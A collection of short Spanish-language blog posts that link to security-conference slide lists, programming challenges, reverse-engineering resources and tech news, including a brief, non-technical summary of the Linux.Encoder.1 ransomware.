• “What should a hacker know about WebDav? Vulnerability review in WebDav implementations”
• “Knowledge based approach for fast Internet resource discovery or Data Mining in the service of nmap”
• “Correlating security events with Esper”
• “Fighting against Flash 0-day: a hunt for a tainted vector”
• “Banking Trojans: a look from the new perspective”
• “Automation of web applications scanning: experience of Yandex”
• “Do-it-yourself banking SDL”
• “Let’s play the game: One more way to perform penetration test”
• Presentation

Libro: http2 explicado

Como muchos ya sabéis la especificación de la segunda versión del protocolo HTTP, fue publicada en mayo de este mismo año, 2015. El documento oficial dónde se definen la misma, es el RFC 7540.

Sin entrar más en detalles sobre esta nueva versión, ya que el objetivo de esta entrada no es ese, sino la de documentación adicional explicada de forma clara y sencilla para ayudarnos a entender mejor los conceptos técnicos de esta nueva versión.

Llamadas al sistema

Las llamadas al sistema es la forma en la que el software interactúa generalmente con el núcleo del sistema operativo.

Hoy pensando qué publicar, me acordé de un sitio web que tenía en mis favoritos con información sobre las llamadas al sistema de distintas arquitecturas del núcleo de Linux, OS X BSD y Windows. El sitio es este, y en el mismo podemos encontrar información sobre:

• Linux x86
• Linux x86_64
• Linux ARM
• Linux ARM (thumb mode)
• Linux IA64 (Itanium)
• Linux Mips o32
• Linux Mips n32
• Linux Mips n64
• Linux Sparc (32 bits)
• Linux Sparc64
• Linux PowerPC (32 bits)
• Linux PowerPC64
• Windows x86
• Windows x86_64
• OS X BSD

Cada enlace nos lleva a una página con la lista correspondiente a la llamadas del sistema de núcleo elegido, parámetros que la función espera y enlace tanto a la documentación, como al código fuente donde se define la misma, con excepción de Windows obviamente.

Una fuente muy importante para programadores y/o reversers.

Mensajería segura desde el escritorio

Open Whisper Systems empresa que lleva ya media década dedicada en llevar el cifrado de las comunicaciones al usuario final, acaba de lanzar un nuevo producto llamado Signal Desktop.

Inicialmente dicha empresa empezó desarrollando aplicaciones móviles para el intercambio de mensajes y voz de forma segura. Éstas aplicaciones se llamaban respectivamente: TextSecure y RedPhone. Con el tiempo estas dos aplicaciones se convirtieron en Signal. Una aplicación móvil para iPhone y Android que nos permite tanto el cifrado de llamadas de voz como de mensajería.

Advent of Code

Un calendario de adviento es un símbolo de la estación de Adviento, celebrada en diciembre cerca de las Navidades. Es un calendario de "cuenta-atrás" desde el 1 de diciembre hasta el 24 de diciembre (Nochebuena). Suele elaborarse para los niños y tiene forma de "conteo" para saber cuánto falta antes de Navidad. Según la wikipedia.

Code of Advent es un sitio web de retos o pequeños puzles de programación. Durante el mes de diciembre desde el día 1 hasta el 25, se publicará un reto nuevo, aumentando cada su dificultad. Ya está disponible el primer reto. No está restringido a ningún tipo de lenguaje o herramienta así que usa la más te guste, o incluso mejor, usa un lenguaje que no hayas usado antes y así tienes doble diversión :)

La zona horaria del sitio es la de la costa este de EEUU, así que el segundo reto estará disponible en tres horas.

Ejercicios de ingeniería inversa de arquitectura …

Ya hemos publicado alguna vez algún proyecto para la práctica de explotación de software compilado para arquitectura ARM.

En esta caso, la entrada es motivo de otro pequeño proyecto sobre la ingeniería inversa de aplicaciones compiladas en dicha arquitectura. Son ejemplos de (código fuente en C, más decompilación en ensablador del mismo) patrones de uso común en cualquier aplicación, como por ejemplo son las arrays de cadenas o listas enlazadas. Con estos ejemplos, podemos el código generado por el compilador y así familiarizarnos con dichos patrones, de forma que cuando tengamos que hacer ingeniería inversa a alguna aplicación ARM, podamos identificar de inmediato la estructura de datos usada entre, otras cosas.

Raspberry PI ZERO

Desde que la fundación Raspberry Pi lanzó su famoso mini ordenador, han sido muchos los que han “copiado” la idea y el mercado de este tipo de ordenadores tuvo bastante movimiento. Algunos eran más caros, pero a su vez más potentes, y otros muchos más baratos, como fue el caso de C.H.I.P., un mini ordenador que tan sólo cuesta 9 dólares.

La fundación Raspberry Pi le ha dado una nueva vuelta de tuerca a dicho mercado y acaba de anunciar Raspberry PI ZERO. Un versión recortada y más barata de su barco insignia. Cuando digo más barata, me refiero que es incluso más barata que C.H.I.P., éste sólo cuesta ¡5 dólares! Y las características no dejan de impresionar:

Nuevo récord mundial resolviendo el cubo de Rubik: …

Como podéis ver en el vídeo, se ha batido de nuevo el récord mundial resolviendo el cubo de Rubik, con una marca de 4,904 segundo. Ocurrió en River Hill High School en Clarksville (Maryland). Su autor Lucas Etter, con tan sólo 14 años. ¡Impresionante!

El arte de la línea de comandos

Hoy en día es crítico saber manejarse bien por el terminal, sobre todo si te dedicas a la administración de sistemas, pentesting, o cualquier otra cosa que requiera el uso remoto de sistemas. Y yo como ya he dicho muchas veces, soy un gran aficionado al uso de la línea de comandos y por eso me gusta publicar este tipo de entradas.

The Art of Command Line o traducido al español El Arte del Terminal, es una página que recolecta información sobre los fundamentos, trucos y comandos de uso común que nos pueden venir muy bien a la hora de sentarnos delante de nuestro terminal. Aunque el texto está enfocado a Bash y sistemas Linux (exceptuando un apartado específico para MacOS), los fundamentos y muchos de los comandos y trucos también serían aplicables a otro tipo de terminales.

Presentaciones B-Sides Orlando 2015

Para los interesados en las charlas de B-Sides Orlando 2015, ya están disponibles en youtube. Aquí os dejo la lista:

• Closing Keynote - Day 1 - Dr Johannes Ullrich Judgement Day 2015-04-12
• Tim Krabek-Getting Involved to Better the Future
• Michael Brown - The NIST Cybersecurity Framework is coming! Are you ready?
• Jonathan Echavarria-Hiding your attacks with misdirection like REDACTED
• Danny Chrastil - What I know about your Company Hacking LinkedIn
• Vikram Dhillon -Blockchain-as-a-service -BsidesOrlando 2015
• Scott Arciszewski - Application Security Beyond Compliance
• Opening Keynote -Moses Hernandez Yo Dog! I got some Regs for your Regs
• Glen Roberts - Take Charge of Your Infosec Career!
• Closing Keynote - Day 1 - Dr Johannes Ullrich Judgement Day 2015-04-12 -BsidesOrlando 2015
• Chris Martinez Executive Order: Private Sector Cybersecurity Information Sharing
• Anthony Critelli - Implementing Voice Over IP in Security Competitions
• Josh Ruppe - Breaking the Speed Limit
• Scott Sattler - Threat Intellegence
• Tim Medin - Attacking Kerberos: Kicking the Guard Dog of Hades
• Vincent Moscatello - Destover: Inside the Malware at Sony Entertainment
• Jeremy Epstein - The Scope of Cybersecurity: A View Forward
• grecs & pupstrr | Project KidHack – Teaching the Next Next Generation Security through Gaming
• Vincent Moscatello - Destover: Inside the Malware at Sony Entertainment
• Tim Medin - Attacking Kerberos: Kicking the Guard Dog of Hades
• Ryan Buenaventura - Defense in Depth – A Mile Wide, A Mile Deep
• Scott Sattler - Threat Intellegence
• Josh Ruppe - Breaking the Speed Limit
• Ean Meyer - Hiding in Plain Sight: Building a Hidden Remotely Accessible Pentesting Platform
• Anthony Critelli - Implementing Voice Over IP in Security Competitions
• Chris Martinez Executive Order: Private Sector Cybersecurity Information Sharing
• Tim Krabek-Getting Involved to Better the Future
• Michael Brown - The NIST Cybersecurity Framework is coming! Are you ready?
• Jonathan Echavarria-Hiding your attacks with misdirection like REDACTED
• Danny Chrastil - What I know about your Company Hacking LinkedIn
• Vikram Dhillon -Blockchain-as-a-service -BsidesOrlando 2015
• Scott Arciszewski - Application Security Beyond Compliance
• Opening Keynote -Moses Hernandez Yo Dog! I got some Regs for your Regs
• Glen Roberts - Take Charge of Your Infosec Career!

Flappy Bird escrito en 90 líneas de código python

Flappy Bird es un juego que no necesita presentación alguna, pero si te cojo con la guardia bajada, decirte que es un juego para móviles que se lanzó en mayo de 2013. A finales de enero del 2014 se convirtió en el juego más descargado de la iOS App Store. Según su autor el juego llegó a generar 50.000 dólares diarios en publicidad y ventas.

El juego empezó a recibir críticas sobre su dificultad e incluso plagiarismo y su autor de forma sorprendente lo borró tanto de la App Store como de Google play.

Domingo por la mañana, Futurecop!, Afterburner (ft …

Futurecop! Wikipedia

Canción del LP “The Adventures of Starpony”

Hace 20 años del anuncio de GIMP

Todos o la mayoría de vosotros ya conoceréis la aplicación de manipulación gráfica The GIMP. Es quizás la alternativa “free” más cercana a photoshop. El 21 de noviembre de 1995, Peter Mattis anunció dicha aplicación en Usenet.

Aquí tenéis la copia del mensaje:

From: Peter Mattis Subject: ANNOUNCE: The GIMP Date: 1995-11-21 Message-ID: <[email protected]> Newsgroups: comp.os.linux.development.apps,comp.os.linux.misc,comp.windows.x.apps

The GIMP: the General Image Manipulation Program

The GIMP is designed to provide an intuitive graphical interface to a variety of image editing operations. Here is a list of the GIMP’s major features:

¿Y tú de qué vas?, Román Medina "Romansoft"

 Roman Medina-Heigl Hernandez

1) ¿Quién eres y a qué te dedicas?

Soy un apasionado de la informática desde muy pequeñín y una mente inquieta. Siempre me ha gustado saber cómo funcionan las cosas "por dentro", y desde 1993 (es decir, "ayer") me interesé por la seguridad informática (y en particular, por el hacking) así que llevo desde entonces aprendiendo y ampliando mis conocimientos en este vasto campo. Me considero un eterno aprendiz y mientras dure la pasión (espero que siempre) seguiré y seguiré y seguiré... absorbiendo toda la información que pueda y en la medida de lo posible tratando de generar y devolver a su vez conocimiento para que otros puedan nutrirse de él (considero que es importante y justo crear y compartir, no solo "consumir").

Vídeos de LLVM Developers' Meeting 2015

Ya se encuentran disponibles los vídeos de la conferencia sobre programación LLVM Developers’ Meeting 2015. Es una conferencia que se celebra tradicionalmente dos veces al año, una vez en EEUU y otra en Europa y está enfocada alrededor de la infraestructura de LLVM.

• Jf Bastien & Dan Gohman "WebAssembly: Here Be Dragons"
• Quentin Colombet "A Proposal for Global Instruction Selection"
• Johannes Doerfert "€œInput Space Splitting for OpenCL"
• K. Serebryany & P. Collingbourne "Beyond Sanitizers..."
• Ivan Baev "Profile-based Indirect Call Promotion"
• Kristof Beyls "œAutomated performance-tracking of LLVM-generated code"
• Christos Margiolas "A Heterogeneous Execution Engine for LLVM"
• S. Guelton & A. Guinet "...Simple out-of-tree LLVM Pass"
• Pierre-Andre Saulais "Creating an SPMD Vectorizer..."
• T. Grosser & J. Doerfert "€œOptimistic Loop Nest Optimizations..."
• P. Robinson & M. Edwards "Living Downstream Without Drowning"
• Joseph Groff & Chris Lattner "Swift's High-Level IR: A Case Study..."
• David Blaikie "Opaque Pointer Types"
• Gerolf Hoflehner "€œLLVM Performance Improvements & Headroom"
• R. Kleckner & D. Majnemer "Exception handling in LLVM..."
• Jingyue Wu "Optimizing LLVM for GPGPU"
• D. Jasper & M. Klimek "€œAn update on Clang-based C++ Tooling"
• M. Wong & A. Bataev "OpenMP GPU/Accelerator support..."
• S. Das & P. Reames "LLVM for a managed language..."
• Vasileios Porpodas "Throttling Automatic Vectorization..."
• B. Simmers & M. Panchenko "LLVM back end for HHVM/PHP"
• Ashutosh Nema "LoopVersioning LICM"
• H. Wennborg & N. Weber "Compiling large, real-world codebases..."
• A. Prantl & D. Exon Smith "Debug Info: From Metadata to Modules"
• David Blaikie "Debug Info on a Diet"€
• Hans Wennborg "The recent switch lowering improvements"
• Stephane Sezer "ds2, a tiny debug server used with lldb"
• Dale Martin "Accelerating Stateflow with LLVM"
• Evgenii Stepanov "€œLarge scale libc++ deployment"
• Serge Guelton "To LLVM Bytecode Obfuscation and Beyond"
• B. Cahoon "Implementation of Swing Modulo Scheduling..."
• S. Rogers "€œInteger Vector Optimizations..."
• A. Nemet & M. Zolotukhin "Advances in Loop Analysis Frameworks..."

Hora de programación con Minecraft, por Microsoft

Microsoft ha creado un juego basado en Minecraft para enseñar a programar a niños. El juego está disponible en code.org y pertenece al apartado de The Hour of Code. Básicamente el juego tendría una duración de una hora.

Como éste es para enseñar a programar a niños, la forma de interactuar con el mismo es escribiendo código, o más bien arrastrando bloques con las acciones que quieres que tu personaje lleve a cabo, algo como el famoso lenguaje de programación Scratch.

Retos de programación sobre criptografía

En esta entrada no vamos a hablar de los retos de matasano, aunque lo acabo de hacer :), sino de otra web: id0-rsa.pub.

Ésta, está en la misma onda que matasano, alberga una serie de retos orientados a la criptografía que tenemos que resolver con programación. Son retos enfocados al aprendizaje de la criptografía aplicada, por lo que no se necesitan conocimientos previos sobre dicho tema, pero sí se necesitan conocimientos de programación.

Presentaciones de Black Hat Europe 2015

Ya podemos acceder al material de la edición de este año de Black Hat celebrada en Amsterdam.

• What Got Us Here Wont Get Us There eu-15-Meer-What-Got-Us-Here-Wont-Get-Us-There.pdf
• (In-)Security of Backend-As-A-Service eu-15-Rasthofer-In-Security-Of-Backend-As-A-Service.pdf eu-15-Rasthofer-In-Security-Of-Backend-As-A-Service-wp.pdf
• A Peek Under the Blue Coat eu-15-Rigo-A-Peek-Under-The-Blue-Coat.pdf
• All Your Root Checks Belong to Us: The Sad State of Root Detection
• AndroBugs Framework: An Android Application Security Vulnerability Scanner eu-15-Lin-Androbugs-Framework-An-Android-Application-Security-Vulnerability-Scanner.pdf
• Attacking the XNU Kernel in El Capitain eu-15-Todesco-Attacking-The-XNU-Kernal-In-El-Capitain.pdf
• Authenticator Leakage through Backup Channels on Android eu-15-Bai-Authenticator-Leakage-Through-Backup-Channels-On-Android.pdf
• Automating Linux Malware Analysis Using Limon Sandbox eu-15-KA-Automating-Linux-Malware-Analysis-Using-Limon-Sandbox.pdf eu-15-KA-Automating-Linux-Malware-Analysis-Using-Limon-Sandbox-wp.pdf
• Breaking Access Controls with BLEKey
• Bypassing Local Windows Authentication to Defeat Full Disk Encryption eu-15-Haken-Bypassing-Local-Windows-Authentication-To-Defeat-Full-Disk-Encryption.pdf eu-15-Haken-Bypassing-Local-Windows-Authentication-To-Defeat-Full-Disk-Encryption-wp.pdf
• Bypassing Self-Encrypting Drives (SED) in Enterprise Environments eu-15-Boteanu-Bypassing-Self-Encrypting-Drives-SED-In-Enterprise-Environments.pdf eu-15-Boteanu-Bypassing-Self-Encrypting-Drives-SED-In-Enterprise-Environments-wp.pdf
• Commix: Detecting and Exploiting Command Injection Flaws eu-15-Stasinopoulos-Commix-Detecting-And-Exploiting-Command-Injection-Flaws.pdf eu-15-Stasinopoulos-Commix-Detecting-And-Exploiting-Command-Injection-Flaws-wp.pdf
• Continuous Intrusion: Why CI tools are an Attackers Best Friends eu-15-Mittal-Continuous-Intrusion-Why-CI-Tools-Are-An-Attackers-Best-Friend.pdf
• Cybercrime in the Deep Web eu-15-Balduzzi-Cybercrmine-In-The-Deep-Web.pdf eu-15-Balduzzi-Cybercrmine-In-The-Deep-Web-wp.pdf
• Cybersecurity for Oil and Gas Industries: How Hackers Can Manipulate Oil Stocks eu-15-Polyakov-Cybersecurity-For-Oil-And-Gas-Industries-How-Hackers-Can-Manipulate-Oil-Stocks.pdf eu-15-Polyakov-Cybersecurity-For-Oil-And-Gas-Industries-How-Hackers-Can-Manipulate-Oil-Stocks-wp.pdf
• Defending Against Malicious Application Compatibility Shims eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims.pdf eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
• Even the LastPass Will be Stolen Deal with It! eu-15-Vigo-Even-The-Lastpass-Will-Be-Stolen-deal-with-it.pdf
• Exploiting Adobe Flash Player in the Era of Control Flow Guard eu-15-Falcon-Exploiting-Adobe-Flash-Player-In-The-Era-Of-Control-Flow-Guard.pdf
• Faux Disk Encryption: Realities of Secure Storage on Mobile Devices eu-15-Mayer-Faux-Disk-Encryption-Realities-Of-Secure-Storage-On-Mobile-Devices.pdf eu-15-Mayer-Faux-Disk-Encryption-Realities-Of-Secure-Storage-On-Mobile-Devices-wp.pdf
• Fuzzing Android: A Recipe for Uncovering Vulnerabilities Inside System Components in Android eu-15-Blanda-Fuzzing-Android-A-Recipe-For-Uncovering-Vulnerabilities-Inside-System-Components-In-Android.pdf eu-15-Blanda-Fuzzing-Android-A-Recipe-For-Uncovering-Vulnerabilities-Inside-System-Components-In-Android-wp.pdf
• Going AUTH the Rails on a Crazy Train eu-15-Jarmoc-Going-AUTH-The-Rails-On-A-Crazy-Train.pdf eu-15-Jarmoc-Going-AUTH-The-Rails-On-A-Crazy-Train-wp.pdf
• Hey Man Have You Forgotten to Initialize Your Memory? eu-15-Chen-Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf eu-15-Chen-Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory-wp.pdf
• Hiding in Plain Sight - Advances in Malware Covert Communication Channels eu-15-Bureau-Hiding-In-Plain-Sight-Advances-In-Malware-Covert-Communication-Channels.pdf eu-15-Bureau-Hiding-In-Plain-Sight-Advances-In-Malware-Covert-Communication-Channels-wp.pdf
• How to Break XML Encryption - Automatically eu-15-Somorovsky-How-To-Break-XML-Encryption-Automatically-wp.pdf
• Implementing Practical Electrical Glitching Attacks
• Is Your TimeSpace Safe? - Time and Position Spoofing Opensourcely eu-15-Kang-Is-Your-Timespace-Safe-Time-And-Position-Spoofing-Opensourcely.pdf eu-15-Kang-Is-Your-Timespace-Safe-Time-And-Position-Spoofing-Opensourcely-wp.pdf
• Lessons from Defending the Indefensible eu-15-Majkowski-Lessons-From-Defending-The-Indefensible.pdf
• Locknote: Conclusions and Key Takeaways from Black Hat Europe 2015
• LTE & IMSI Catcher Myths eu-15-Borgaonkar-LTE-And-IMSI-Catcher-Myths.pdf eu-15-Borgaonkar-LTE-And-IMSI-Catcher-Myths-wp.pdf
• New (and Newly-Changed) Fully Qualified Domain Names: A View of Worldwide Changes to the Internets DNS eu-15-Vixie-New-And-Newly-Changed-Fully-Qualified-Domain-Names-A-View-Of-Worldwide-Changes-To-The-Internets-DNS.pdf
• New Tool for Discovering Flash Player 0-day Attacks in the Wild from Various Channels eu-15-Pi-New-Tool-For-Discovering-Flash-Player-0-day-Attacks-In-The-Wild-From-Various-Channels.pdf eu-15-Pi-New-Tool-For-Discovering-Flash-Player-0-day-Attacks-In-The-Wild-From-Various-Channels-wp.pdf
• Panel: What You Need to Know About the Changing Regulatory Landscape in Information Security
• Self-Driving and Connected Cars: Fooling Sensors and Tracking Drivers eu-15-Petit-Self-Driving-And-Connected-Cars-Fooling-Sensors-And-Tracking-Drivers.pdf eu-15-Petit-Self-Driving-And-Connected-Cars-Fooling-Sensors-And-Tracking-Drivers-wp1.pdf eu-15-Petit-Self-Driving-And-Connected-Cars-Fooling-Sensors-And-Tracking-Drivers-wp2.pdf
• Silently Breaking ASLR in the Cloud eu-15-Barresi-Silently-Breaking-ASLR-In-The-Cloud.pdf eu-15-Barresi-Silently-Breaking-ASLR-In-The-Cloud-wp.pdf
• Stegosploit - Exploit Delivery with Steganography and Polyglots eu-15-Shah-Stegosploit-Exploit-Delivery-With-Steganography-And-Polyglots.pdf
• Triaging Crashes with Backward Taint Analysis for ARM Architecture eu-15-Kim-Triaging-Crashes-With-Backward-Taint-Analysis-For-ARM-Architecture.pdf
• Unboxing the White-Box: Practical Attacks Against Obfuscated Ciphers eu-15-Sanfelix-Unboxing-The-White-Box-Practical-Attacks-Against-Obfuscated-Ciphers.pdf eu-15-Sanfelix-Unboxing-The-White-Box-Practical-Attacks-Against-Obfuscated-Ciphers-wp.pdf
• VoIP Wars: Destroying Jar Jar Lync eu-15-Ozavci-VoIP-Wars-Destroying-Jar-Jar-Lync.pdf
• Vulnerability Exploitation in Docker Container Environments eu-15-Bettini-Vulnerability-Exploitation-In-Docker-Container-Environments.pdf eu-15-Bettini-Vulnerability-Exploitation-In-Docker-Container-Environments-wp.pdf
• Watching the Watchdog: Protecting Kerberos Authentication with Network Monitoring eu-15-Beery-Watching-The-Watchdog-Protecting-Kerberos-Authentication-With-Network-Monitoring.pdf eu-15-Beery-Watching-The-Watchdog-Protecting-Kerberos-Authentication-With-Network-Monitoring-wp.pdf
• Your Scripts in My Page - What Could Possibly Go Wrong?

Retos y ejercicios de ingeniería inversa

Dennis Yurichev, autor del libro Ingeniería inversa para principiantes ha ido creando una serie retos y ejercicios sobre dicho tema que iba publicando en su blog (algunos también están en el libro) y para poner un poco de orden ha creado un sitio web nuevo llamado challenges.re, dónde ha reagrupado y organizado dichos retos.

Aunque en su blog actual ha ido publicando las soluciones a los retos que creaba, en este nuevo sitio no las va a publicar y por consiguiente, tampoco publicará las soluciones de futuros retos ni en dicha web ni en el blog. Además pide que no se publiquen las soluciones en sitios públicos: blogs, foros, etc.

Linux.Encoder.1 y la esperanza de recuperar tus …

Linux.Encoder.1 es un ransomware (malware que “rapta”/encripta tus ficheros y que chantajea de forma económica típicamente si quieres recuperar tus datos) que está siendo noticia últimamente. No porque este tipo de malware sea nuevo, sino porque parece ser que es el primero (que se sepa hasta la fecha) que ataca sistemas Linux.

Éste concretamente se aprovecha de una vulnerabilidad en Magento, un carrito de la compra electrónico. Una vez dentro de tu sistema, Linux.Encoder.1 busca los directorios /home, /root y/var/lib/mysql, y encripta su contenido usando AES, un algoritmo de clave simétrica. Dicha clave luego es encriptada con RSA. Una vez hecho esto, el malware empieza a encriptar el directprio raíz (/), excluyendo algunos ficheros críticos.

Desarrollo de juegos para NES

Los sistemas de 8-bits siempre me han llamado la atención, entre otras cosas porque resultan muy fácil de entender en comparación con arquitecturas actuales y porque, no sé, tienen su encanto.

Como ya he dicho muchas veces, no hay nada mejor que aprender jugando, o en este caso creando un juego. Este es el material de un curso sobre el desarrollo de juegos para la consola de vídeo juegos más exitosa de su época (mediados - finales de los 80s), la NES de Nintendo.

Documentación organizada para desarrolladores

La cantidad de tecnología con la que un desarrollador tiene que lidiar hoy en día es agobiante. El tener a mano la documentación necesaria en cualquier momento, conectado a internet o no, es esencial, sobre todo en el segundo de los casos.

Son muchos los lenguajes, frameworks, etc que proveen de una API con acceso a la documentación del mismo (o de terceros), de forma que permite a los propios desarrolladores, crear herramientas o funcionalidades que hagan uso de dichas APIs.

Presentaciones de Ruxcon 2015

Aquí tenéis la lista de las presentaciones que se han publicados de Ruxcon 2015:

• DNS as a Defense Vector
• High Performance Fuzzing
• The New South Wales iVote System: Security Failures and Verification Flaws in a Live Online Election
• MalwAirDrop: Compromising iDevices via AirDrop
• Broadcasting Your Attack: Security Testing DAB Radio In Cars
• Windows 10: 2 Steps Forward, 1 Step Back
• Practical Intel SMEP Bypass Techniques on Linux
• Advanced SOHO Router Exploitation
• Why Attacker's Toolsets Do What They Do
• SDN Security
• Window Driver Attack Surface: Some New Insights
• Abusing Adobe Reader¹s JavaScript APIs
• High-Def Fuzzing: Exploring Vulnerabilities in HDMI-CEC
• VoIP Wars: Destroying Jar Jar Lync
• VENOM
• Fruit Salad, yummy yummy: An analysis of ApplePay
• A Peek Under The Blue Coat
• Automated Malware Analysis: A Behavioural Approach to Automated Unpacking
• Tasty Malware Analysis with T.A.C.O.: Bringing Cuckoo Reports into IDA Pro
• A Practical Robust Mitigation and Testing Tool for Use-After-Free Vulnerabilities
• Testing TLS - How To Check If Your TLS Implementation Is Correct
• Microarchitecture Independent VM Introspection

Material de SecTor 2015

Ya está disponible el material (vídeos y diapositivas) de SecTor 2015.

• Maturing InfoSec: Lessons from Aviation on Information Sharing - Slides
• Automation is your Friend: Embracing SkyNet to Scale Cloud Security - Video
• Breaking Access Controls with BLEKey - Video
• Breaking and Fixing Python Applications - Video Slides Tools
• Complete Application Ownage via Multi-POST XSRF - Video
• Confessions of a Professional Cyber Stalker - Video
• Cymon - An Open Threat Intelligence System - Video
• Data-Driven Threat Intelligence: Metrics on Indicator Dissemination and Sharing - Slides
• Hijacking Arbitrary .NET Application Control Flow - Video Slides
• Malware Activity in Mobile Networks – An Insider View - Video Slides
• Software Defined Networking / Attacker Defined Networking - Video
• Stealth Attack From The Produce Aisle - Slides
• Stealthier Attacks and Smarter Defending with TLS Fingerprinting - Video Slides
• UNMASKING MALWARE - Video
• Xenophobia is Hard on Data: Forced Localization, Data Storage, and Business Realities - Video
• Bulletproofing Your Incident Response Plan: Effective Tabletops - Video
• CISO Survival Guide: How to thrive in the C-Suite and Boardroom - Slides
• Make Metrics Matter - Slides
• The Effective Use of Cyber Ranges for Application Performance and Security Resilience – Train Like You Fight! - Video
• There’s no such thing as a coincidence - Discovering Novel Cyber Threats - Video
• Building an Effective Vulnerability & Remediation Management Program - Video
• Ground Zero Financial Services: Targeted Attacks from the Darknet - Video
• Peeling The Layers Of Vawtrak - Slides
• Preventing Home Automation Security Disasters - Video Slides
• Run Faster, Continuously Harden - Embracing DevOps to Secure All The Things - Video
• Security for non-Unicorns - Video
• Certifi-gate: Has your Android device been Pwned? - Video
• Effective Ways to Tackle Vulnerability Remediation - Video
• Knowing what happened is only half the battle. - Video
• SIEM and the Art of Log Management - Video Slides

CODEGIRL - Documental subtitulado en español

Desde la remota tierra de Moldova , pasando por el Brasil metropolitano, hasta el Massachusetts suburbano, CODEGIRL sigue a equipos de chicas de secundaria alrededor del mundo que tienen tres meses para crear una aplicación que resuelva los problemas en sus comunidades. El equipo ganador recibirá 10 mil dólares si termina su aplicación, pero cada chica descubre algo valioso por el camino.

Material de HITB Singapur 2015

Ha sido publicado el material de la Hack In The Box de Singapur de este año 2015:

• CLOSING NOTE - Dhillon Kannabhiran.pdf
• D1 - Alfonso De Gregorio - Extortion and Cooperation in the Zero%c2%ad-Day Market.pdf
• D1 - Chris Rouland - Understanding the IoT from DC to 10Ghz.pdf
• D1 - Dawid Czagan - Hacking Cookies in Modern Web Applications and Browsers.pdf
• D1 - Julien Lenoir - Implementing Your Own Generic Unpacker.pdf
• D1 - Lyon Yang - Advanced SOHO Router Exploitation.pdf
• D1 - Marina Krotofil - Hacking Chemical Plants for Competition and Extortion.pdf
• D2 - Eleanor Saitta - Security Design and High Risk Users.pdf
• D2 - Fatih Ozavci - VoIP Wars - Destroying Jar Jar Lync.pdf
• D2 - Marco Balduzzi and Vincenzo Ciancaglini - Cybercrime in the Deep Web.pdf
• D2 - Ryan Welton and Marco Grassi - Current State of Android Privilege Escalation.pdf
• D2 - Valerie Thomas - Attacking Physical Access Systems.pdf
• D2 - Xeno Kovah - Thunderstrike 2 - Sith Strike.pdf
• D3 - Dmitry Chastuhin - SAP Afaria - One SMS to Hack a Company.pdf
• D3 - Felix Wilhelm - Attacking the FireEye MPS.pdf
• D3 - Katie Kleemola and Anthony Lai - Case Study of Targeted Attacks in Asia.pdf
• D3 - Marc Heuse - Hiding in Complexity.pdf
• D3 - Wen Xu - Root Hundreds and Thousands of Android Devices with One Generic Exploit.pdf
• KEYNOTE 1 - Kristin Lovejoy - Our Daily Struggle to Balance National Security Interests and Civil Liberties at the Ground Level .pdf
• KEYNOTE 2 - Ofir Arkin - Security in a World Out of Our Control - NO SLIDES.pdf
• KEYNOTE 3 - Winn Schwartau - Analogue Network Security.pdf
• KEYNOTE 4 (CLOSING) - Barry Greene - Can Vendors Ever Provide Secure Solutions%3f.pdf

Whitepapers:

• Alfonso De Gregorio - Extortion and Cooperation in the Zero%c2%ad-Day Market.pdf
• Dawid Czagan - Hacking Cookies in Modern Web Applications and Browsers.pdf
• Marco Balduzzi and Vincenzo Ciancaglini - Cybercrime In The DeepWeb.pdf
• Wen Xu - Root Hundreds and Thousands of Android Devices with One Generic Exploit.pdf
• Xeno Kovah - Thunderstrike 2 - Sith Strike.pdf

Decompilador de Dex a Java

Como la mayoría ya sabréis, .dex es el formato de fichero ejecutable que la máquina virtual Dalvik. Y cómo muchos ya también sabéis, aunque las aplicaciones Android las escribamos en Java (a menos que uses NDK, o algún framework de terceros que te permita codificar en algún otro lenguaje), pero no es el código Java o más bien el bytecode de Java lo que se ejecuta en el sistema, sino que hay un paso intermedio que convierte el bytecode de Java (.class) a bytecode de Dalvik (.dex) y esto es lo que se ejecuta.

Librerías de criptografía de Apple

Apple ha liberado las librerías que manejan toda la criptografía implementada en OS X e iOS, para que cualquier programador que así lo desee pueda usarlas en sus proyectos.

Dichas librerías están separadas en tres componentes:

Security Framework: éste provee interfaces para el manejo de claves privadas y públicas, certificados y políticas de confianza. También provee la generación de números pseudo aleatorios y el almacenamiento seguro de certificados y claves criptográficas.

Desarrollo de sistemas operativos

Recuerdo que una de las clases que más me gustaron y una en las que más aprendí fue en la clase de Sistemas Operativos. Era un poco pesada por toda la teoría que abarcaba, pero a pesar de todo disfruté bastante.

En temas prácticos, todo lo que hicimos fue toquetear la configuración del sistema operativo (Debian 1.3.1 por aquel entonces) y algo de programación en Bash, pero nada de implementar lo aprendido en la teoría.

Recursos sobre criptografía y seguridad

Estar al día sobre cualquier campo dentro de la tecnología, requiere un gran esfuerzo y dedicación. En el tema de la seguridad informática y criptografía, es quizás incluso más complicado por la cantidad giros y avances que se llevan a cabo a pasos agigantados. Es por ello que el mantener organizado una buena lista de recursos esenciales, debería ser un objetivo primordial.

He aquí una web llamada RETTER en la que podemos encontrar una excelente lista de dichos recursos. Los recursos están divididos en las siguientes categorías:

Material de Hack.lu 2015

El material presentado en Hack.lu 2015 ya está disponible, incluido el material usado en el taller sobre radare2:

• 2015-10-20-SEKOIA-Keynote Internet of Tchotchke-v1.0.pdf
• 2015-10-21-Keynote-Hack-lu-Marie-Moe.pdf
• Crowdsourced_Malware_Triage_-_Workshop.pdf
• Draw-me-a-LocalKernelDebuger.pdf
• HT_Android_hack_lu2015_v1.0.pdf
• Hacklu2015-SecurityDesignAndHigh-RiskUsers-4.3.pdf
• MahsaAlimardani-MobileApplicationsinIran.pdf
• Practical_Spear_Phishing.pdf
• Security_of_Virtual_Desktop_Infrastructures-Maxime_Clementz-Simon_Petitjean.pdf
• They Hate Us Cause They Ain't Us.pdf
• TotallySpies.pdf
• Trusting_files__and_their_formats___1_.pdf
• Trusting files (and their formats).pdf
• Why Johnny can’t Unpack-22.10.2015_lu_edition.key
• crema-hacklu.pdf
• fitbit-hacklu-slides.pdf
• forging_the_usb_armory.pdf
• hacklu15_enovella_reversing_routers.pdf
• hacklu2015_qkaiser_hownottobuildanevotingsystem.pdf
• key-logger-video-mouse.pdf
• keys_where_we_re_going_we_dont_need_keys.zip
• logos/
• metabrik-framework.pdf
• mispsummit/
• radare2-workshop-slides.pdf
• radare2-workshop/
• stegosploit_hacklu2015.pdf

Vídeo tutoriales sobre Metasploit

